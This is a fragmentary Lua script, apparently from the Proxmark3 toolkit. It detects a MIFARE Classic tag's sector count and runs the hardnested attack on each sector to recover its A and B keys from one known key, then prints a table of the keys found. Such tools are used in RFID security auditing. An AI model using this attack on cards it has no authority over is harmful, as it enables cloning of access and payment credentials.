1 local cmds = require('commands')
2 local getopt = require('getopt')
3 local utils = require('utils')
4 local lib14a = require('read14a')
6 example = "script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys."
10 This script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys.
13 -k Known key, 6 bytes (12 hex digits)
16 -s Blocknumber for known key
18 script hard -k 112233445566
25 -- A debug printout-function
27 if not DEBUG then return end
29 if type(args) == "table" then
40 -- This is only meant to be used when errors occur
49 print("Example usage")
55 print( string.rep('--',20) )
56 print( string.rep('--',20) )
60 -- A little helper to place an item first in the list
61 local function placeFirst(akey, list)
63 if list[1] == akey then
64 -- Already at pole position
68 --print(("Putting '%s' first"):format(akey))
69 for i,v in ipairs(list) do
76 -- A function to display the results
77 -- TODO: iceman 2016, still screws up output when a key is not found.
78 local function displayresults(results)
79 local sector, blockNo, keyA, keyB, succA, succB, _
81 print("|---|----------------|---|----------------|---|")
82 print("|sec|key A |res|key B |res|")
83 print("|---|----------------|---|----------------|---|")
85 for sector,_ in pairs(results) do
86 succA, succB, keyA, keyB = unpack(_)
87 print(("|%03d| %s | %s | %s | %s |"):format(sector, keyA, succA, keyB, succB))
89 print("|---|----------------|---|----------------|---|")
94 The mifare Classic 1k card has 16 sectors of 4 data blocks each.
95 The first 32 sectors of a mifare Classic 4k card consists of 4 data blocks and the remaining
96 8 sectors consist of 16 data blocks.
98 local function GetTargetBlockNo(sector)
99 local trgblockno = sector * 4 - 1
101 trgblockno = 32 * 4 + (sector-32) * 16 -1
103 return ("%02x"):format(trgblockno)
107 -- The main entry point
112 local key = 'fc00018778f7'
114 local numSectors = 16
116 -- Read the parameters
117 for o, a in getopt.getopt(args, 'hk:abs:') do
118 if o == "h" then return help() end
119 if o == "k" then key = a end
120 if o == "a" then keytype = '0' end
121 if o == "b" then keytype = '1' end
122 if o == "s" then blockno = a end
125 keytype = keytype or '0'
128 local cmdSetDbgOff = "hf mf dbg 0"
129 core.console( cmdSetDbgOff)
131 result, err = lib14a.read1443a(false)
135 core.clearCommandBuffer()
138 print((' Found tag %s'):format(result.name))
140 if 0x18 == result.sak then --NXP MIFARE Classic 4k | Plus 4k
141 -- IFARE Classic 4K offers 4096 bytes split into forty sectors,
142 -- of which 32 are same size as in the 1K with eight more that are quadruple size sectors.
144 elseif 0x08 == result.sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
145 -- 1K offers 1024 bytes of data storage, split into 16 sector
147 elseif 0x09 == result.sak then -- NXP MIFARE Mini 0.3k
148 -- MIFARE Classic mini offers 320 bytes split into five sectors.
150 elseif 0x10 == result.sak then-- "NXP MIFARE Plus 2k"
153 print("I don't know how many sectors there are on this type of card, defaulting to 16")
157 for sector=1,numSectors do
159 local trgblockno = GetTargetBlockNo(sector)
165 for targetkeytype=0,1 do
167 -- skip first sector, KeyA...
168 -- or actually blockNo and keytype
169 -- just try default for now
170 if sector == 1 and targetkeytype == 0 then
173 local err, foundkey = core.hardnested(blockno, keytype, key, trgblockno, tostring(targetkeytype), trgkey, 0,0,0,0)
174 foundkey = foundkey or ""
176 if targetkeytype == 0 then
177 if err == nil or err > 0 then succA = 0 else keyA = foundkey end
179 if err == nil or err > 0 then succB = 0 else keyB = foundkey end
183 -- clearing BigBuff between hardnested executions seems to make it more stable.
184 core.clearCommandBuffer()
185 core.console('data buffclear')
187 -- Check if user aborted
188 if core.ukbhit() then
189 print("Aborted by user")
193 result[sector] = { succA, succB, utils.ConvertAsciiToHex(keyA), utils.ConvertAsciiToHex(keyB) }
195 displayresults(result)